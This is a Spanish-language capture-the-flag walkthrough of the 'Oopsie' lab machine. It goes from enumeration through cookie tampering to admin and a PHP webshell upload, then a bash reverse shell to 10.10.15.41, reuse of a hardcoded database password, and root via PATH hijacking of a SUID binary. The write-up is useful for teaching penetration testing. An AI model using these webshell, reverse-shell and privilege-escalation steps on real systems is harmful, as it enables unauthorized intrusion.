Oopsie
Pone de manifiesto el impacto de la divulgación de información y las deficiencias en el control de acceso en aplicaciones web. La enumeración del sitio web revela un inicio de sesión de invitado con cookies y ID de usuario manipulables, lo que permite escalar a un rol de administrador y acceder a una función de carga de archivos. Posteriormente, se carga un shell inverso PHP para obtener acceso inicial. Una enumeración posterior expone credenciales codificadas que permiten el movimiento lateral a otro usuario. Finalmente, se logra la escalada de privilegios mediante el abuso de un binario SUID mal configurado a través del secuestro de la variable PATH.

Enumeration
Enumeramos todos los puertos para ver cuáles están abiertos y qué servicios corren en ellos.
sudo nmap -p- -sS --min-rate 5000 -Pn -n -vv -oA nmap/allports 10.129.201.158
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Enumeramos los puertos abiertos para conocer más detalles de los servicios.
nmap -p 22,80 -sCV -oA nmap/openports 10.129.201.158
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA)
| 256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA)
|_ 256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Welcome
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeramos directorios.
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -u http://10.129.201.158/FUZZ -ic -c -t 100
images [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 309ms]
themes [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 157ms]
uploads [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 158ms]
[Status: 200, Size: 10932, Words: 1345, Lines: 479, Duration: 2314ms]
css [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 158ms]
js [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 164ms]
fonts [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 159ms]
El servicio http muestra un sitio web.

En el código fuente se importa un script <script src="/cdn-cgi/login/script.js"></script>.
Navegamos a la ruta /cdn-cgi/login y encontramos un formulario de inicio de sesión.

Nos logueamos como Guest.
En el apartado account vemos el Access ID asignado a la cuenta Guest.

La url tiene un parámetro id al que le vamos a modificar el valor a 1 para ver si nos devuelve información de otro usuario en este caso el del admin.

Las cookies muestran información relevante, una con el role del usuario y otra con el Access ID del usuario.

Con la información recolectada modificamos la cookie para ver si tenemos acceso como admin y podemos usar la función de subida de archivos que con el usuario Guest está restringida.

Exploitation
Creamos un archivo melvin.php con una webshell.
echo '<?php system($_GET["cmd"]);' > melvin.php
Subimos la webshell.

Probamos ejecutar comandos.
curl http://10.129.201.158/uploads/melvin.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Nos ponemos en escucha en nuestra máquina atacante.
nc -lnvp 1111
Y nos enviamos una reverse shell.
curl -G --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.15.41/1111 0>&1"' http://10.129.201.158/uploads/melvin.php
Estabilizamos la shell.
script /dev/null -c bash
Presionamos ctrl + z.
stty raw -echo; fg
export TERM=xterm
export SHELL=bash
stty rows 38 columns 171
Listamos el contenido del directorio home de forma recursiva.
ls -R /home
/home:
robert
/home/robert:
user.txt
Leemos la flag.
cat /home/robert/user.txt
User flag
f******************************1
Privilege Escalation
Listamos el contenido del directorio /var/www/html/cdn-cgi/login y leemos el archivo db.php que contiene credenciales de la base de datos.
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>
La contraseña nos permite cambiar al usuario robert.
su robert
Buscamos binarios con el permiso SUID asignado que permiten a un usuario común ejecutar un binario con los mismos privilegios del propietario de ese archivo.
find / -type f -perm -4000 2>/dev/null
<SNIP>
/usr/bin/bugtracker
<SNIP>
Ejecutamos la herramienta para ver que hace.
bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 1
---------------
Binary package hint: ev-engine-lib
Version: 3.3.3-1
Reproduce:
When loading library in firmware it seems to be crashed
What you expected to happen:
Synchronized browsing to be enabled since it is enabled for that site.
What happened instead:
Synchronized browsing is disabled. Even choosing VIEW > SYNCHRONIZED BROWSING from menu does not stay enabled between connects.
La herramienta pide el ID de un bug. Si le pasamos un ID inexistente muestra que ejecuta internamente la herramienta cat.
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 000000000
---------------
cat: /root/reports/000000000: No such file or directory
El usuario robert pertenece al grupo bugtracker.
robert@oopsie:/tmp$ id
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)
Y los que pertenecen al grupo bugtracker tienen permisos para ejecutar el binario.
ls -l /usr/bin/bugtracker
-rwsr-xr-- 1 root bugtracker 8792 Jan 25 2020 /usr/bin/bugtracker
Creamos un cat falso en el directorio tmp y agregamos el directorio tmp al PATH para que bugtracker busque el binario primero en el directorio tmp y ejecute nuestro cat falso que va a darnos una shell.
Creamos nuestra binario cat.
echo /bin/bash > /tmp/cat
Le damos permisos de ejecución.
chmod +x /tmp/cat
Agregamos la ruta tmp al PATH.
export PATH=/tmp:$PATH
Ejecutamos bugtracker para obtener una shell como root.
bugtracker
Una vez tengamos la shell como root nos cambiamos al directorio /root y leemos la flag con el binario cat original porque si no vamos a estar ejecutando el cat falso que usamos para obtener la shell como root.
/bin/cat /root/root.txt
Root flag
a******************************f